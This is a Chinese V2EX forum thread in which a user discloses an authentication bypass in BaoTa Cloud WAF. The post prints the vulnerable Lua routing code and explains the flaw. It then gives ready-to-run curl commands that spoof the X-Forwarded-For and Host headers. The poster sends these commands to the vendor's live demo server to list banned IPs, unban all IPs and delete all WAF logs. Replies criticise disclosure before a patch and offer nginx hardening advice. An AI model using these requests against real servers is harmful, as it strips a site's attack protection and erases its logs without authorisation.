V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
helloword001222
V2EX  ›  服务器

我发现了宝塔的未授权访问漏洞

  •  1
     
  •   helloword001222 · 274 天前 · 3777 次点击
    这是一个创建于 274 天前的主题,其中的信息可能已经有所发展或是发生改变。

    接上篇文章,继过年前发现宝塔 WAF 后台的命令注入漏洞后,寒假期间闲着无事,过年又不想跑亲戚,又翻了翻宝塔的代码,再一次发现了重大漏洞。

    大过年还在看代码真是不容易,宝塔请给我广告费+代码审计费。

    整个宝塔 WAF 核心防护功能的代码写的确实有点粗糙,代码组织方式不像一个成熟软件该有的架构,小 Bug 一眼望不到头,今天分享的是一个未授权访问漏洞,普通用户可以无视宝塔的随机登录地址,无视宝塔的登录密码,直接操作后台的数据,实现人人都是管理员的效果。

    请看这段代码

    start = function ()
    	... 此处身略若干行
    	if ngx.var.remote_addr == "127.0.0.1" and ngx.ctx.Server_name == "127.0.0.251" and ngx.var.host == "127.0.0.251" then
    		if ngx.var.uri == "/get_btwaf_drop_ip" then
    			Public.return_message(200, uv0.get_btwaf_drop_ip())
    		elseif ngx.var.uri == "/remove_btwaf_drop_ip" then
    			Public.return_message(200, uv0.remove_btwaf_drop_ip())
    		elseif ngx.var.uri == "/clean_btwaf_drop_ip" then
    			Public.return_message(200, uv0.clean_btwaf_drop_ip())
    		elseif ngx.var.uri == "/updateinfo" then
    			Public.return_message(200, uv0.updateInfo())
    		elseif ngx.var.uri == "/get_site_status" then
    			Public.return_message(200, uv0.get_site_status())
    		elseif ngx.var.uri == "/get_global_status" then
    			Public.return_message(200, uv0.get_global_status())
    		end
    
    		if ngx.var.uri == "/clean_btwaf_logs" then
    			Public.return_message(200, uv0.clean_btwaf_logs())
    		end
    
    		if ngx.var.uri == "/clear_speed_hit" then
    			Public.return_message(200, uv0.clear_speed_hit())
    		end
    
    		if ngx.var.uri == "/clear_replace_hit" then
    			Public.return_message(200, uv0.clear_replace_hit())
    		end
    
    		if ngx.var.uri == "/reset_customize_cc" then
    			Public.return_message(200, uv0.reset_customize_cc())
    		end
    
    		if ngx.var.uri == "/clear_speed_countsize" then
    			Public.return_message(200, uv0.clear_speed_countsize())
    		end
    	end
    end
    

    这段代码位于 /cloud_waf/nginx/conf.d/waf/public/waf_route.lua 文件中,源文件是 luajit 编译后的内容,反编译一下即可看到源码。

    看代码最开端的 if 语句,只要满足 ip 是 127.0.0.1 ,域名是 127.0.0.251 这两个条件就能在不用登录的情况下访问下面的 API 。

    话说这是临时工写的代码吧,对于宝塔的配置来说,要满足这两个条件很难吗?

    • 配置 x-forwarded-for 头为 127.0.0.1 即可满足 ip 是 127.0.0.1 的条件
    • 配置 host 头为 127.0.0.251 即可满足域名是 127.0.0.251 的条件

    提供一条 curl 参数供大家参考

    curl 'http://宝塔地址/API'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
    

    到此漏洞原理就讲完了

    我们访问宝塔官方网站做个测试

    get_btwaf_drop_ip

    这个 API 用来获取已经拉黑的 IP 列表,使用以下命令发起访问

    curl 'http://btwaf-demo.bt.cn/get_btwaf_drop_ip'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
    

    remove_btwaf_drop_ip

    这个 API 用来解封 IP ,提供一个 get 参数即可,使用以下命令发起访问

    curl 'http://btwaf-demo.bt.cn/remove_btwaf_drop_ip?ip=1.2.3.4'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
    

    响应如下

    {"msg":"1.2.3.4 已解封","status":true}
    

    clean_btwaf_drop_ip

    这个 API 用来解封所有 IP ,使用以下命令发起访问

    curl 'http://btwaf-demo.bt.cn/clean_btwaf_drop_ip'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
    

    响应如下

    {"msg":"已解封所有 IP","status":true}
    

    updateinfo

    这个 API 看起来是更新配置用的,需要一个 types 参数做校验,但实际并没有什么用处,使用以下命令发起访问

    curl 'http://btwaf-demo.bt.cn/updateinfo?types'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
    

    get_site_status

    这个 API 用来获取网站的配置,server_name 参数需要提供网站的域名,使用以下命令发起访问

    curl 'http://btwaf-demo.bt.cn/get_site_status?server_name=bt.cn'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
    

    响应如下

    {"status":true,"msg":{"uv":0,"qps":0,"inland":0,"overseas":0,"today":{"pc_count":0,"mobile_count":0,"req":0,"spider_google":0,"spider_bing":0,"spider_sogou":0,"spider_360":0,"spider_other":0,"err_40x":0,"spider_baidu":0,"recv_bytes":0,"send_bytes":0,"err_500":0,"err_502":0,"err_503":0,"err_504":0,"err_499":0,"uv_count":0,"ip_count":0,"pv_count":0},"send_bytes":0,"proxy_count":0,"err_502":0,"recv_bytes":0,"err_504":0,"err_499":0,"ip":0,"proxy_time":0,"pv":0}}
    

    clean_btwaf_logs

    这个 API 用来删除宝塔的所有日志,使用以下命令发起访问

    curl "http://btwaf-demo.bt.cn/clean_btwaf_logs"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
    

    后续还有一些 API 大同小异,不一一列举了

    • get_global_status
    • clear_speed_hit
    • clear_replace_hit
    • reset_customize_cc
    • clear_speed_countsize

    漏洞已通报给宝塔官方,此漏洞危害较大,各位宝塔用户请关注宝塔官方补丁,及时更新。

    7 条回复    2024-02-17 15:55:03 +08:00
    fuzzsh
        1
    fuzzsh  
       274 天前 via Android   ❤️ 3

    虽厌恶不用堡塔
    但在未发布补丁就披露并发布 PoC…


    只能说当前时代已不是 wooyun ,几大安服公司都只敢在补丁发布后才披露或放出 PoC
    ryd994
        2
    ryd994  
       273 天前
    正确配置的话是不会有这个问题的:
    1. x-forwarded-for 默认禁用。但是 X-Real-IP 启用。正常来说应当配置 set_real_ip_from 。
    2. 不应该允许 default_host 访问。default_host 应该用一个单独的无效 host ,指向 404 页面或者跳转到主域名

    当然,能正确配置 nginx 的人一般也不会用宝塔……
    whileFalse
        3
    whileFalse  
       273 天前 via Android
    这就是我觉得宝塔不靠谱的原因。
    功能多+用户群 low 基本就意味着烂。
    ltkun
        4
    ltkun  
       273 天前 via Android
    和 win 一个道理
    zeusho871
        5
    zeusho871  
       273 天前
    linux 免费版 8.0.3 测试不行。。。
    net909
        6
    net909  
       273 天前
    注意一下楼主说的是宝塔云 WAF ,不是宝塔面板,不要搞混了
    zhiheng2023
        7
    zhiheng2023  
       273 天前
    这个不是去年的 BUG 吗,官方不是都已经修复掉了
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1112 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 30ms · UTC 23:35 · PVG 07:35 · LAX 15:35 · JFK 18:35
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.